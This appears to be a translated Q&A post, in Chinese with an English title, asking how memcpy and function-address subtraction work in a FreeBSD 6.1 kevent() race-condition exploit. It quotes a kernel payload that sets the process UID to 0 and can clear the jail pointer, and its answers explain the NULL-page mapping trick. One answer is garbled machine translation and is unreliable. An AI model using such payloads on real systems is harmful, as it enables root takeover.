两个函数地址相减

two function addresses subtraction

我正在阅读一段关于 here 中的漏洞利用的代码。有一个声明是这样的:

/*
FreeBSD <= 6.1 suffers from classical check/use race condition on SMP
systems in kevent() syscall, leading to kernel mode NULL pointer
dereference. It can be triggered by spawning two threads:
1st thread looping on open() and close() syscalls, and the 2nd thread
looping on kevent(), trying to add possibly invalid filedescriptor. 
*/

static void kernel_code(void) {
    struct thread *thread;
    gotroot = 1;
    asm(
        "movl %%fs:0, %0"
        : "=r"(thread)
    );
    thread->td_proc->p_ucred->cr_uid = 0;
#ifdef PRISON_BREAK
    thread->td_proc->p_ucred->cr_prison = NULL;
#endif
    return;
}

static void code_end(void) {
return;
}

int main() {
....
memcpy(0, &kernel_code, &code_end - &kernel_code);
....
}

我很好奇这个memcpy是什么意思? &code_end - &kernel_code的结果是什么?

这假定函数 kernel_code() 将在 某处结束 函数 code_end() 开始。因此 memcpy()kernel_code() 复制到地址 0。假设漏洞利用的某些其他方面导致 return 或跳转到地址 0,从而 运行 kernel_code().

void * memcpy ( void * destination, const void * source, size_t num );

memcpy 会将函数 kernel_code 复制到地址 0 (NULL)。

代码试图利用的是获得 root 权限,UID 为 0,两个线程竞争队列,do_thread/do_thread2

通过mmaping code_end函数地址的内容,与kernel_code的地址,将结果复制到缓冲区,到地址0,在条件是代码彼此相邻,因此,如有效用户 ID 0 aka root。

C++ Ref 页面总结了 memcpy 的内容。

void * memcpy ( void * destination, const void * source, size_t num );

Copies the values of num bytes from the location pointed to by source directly to the memory block pointed to by destination.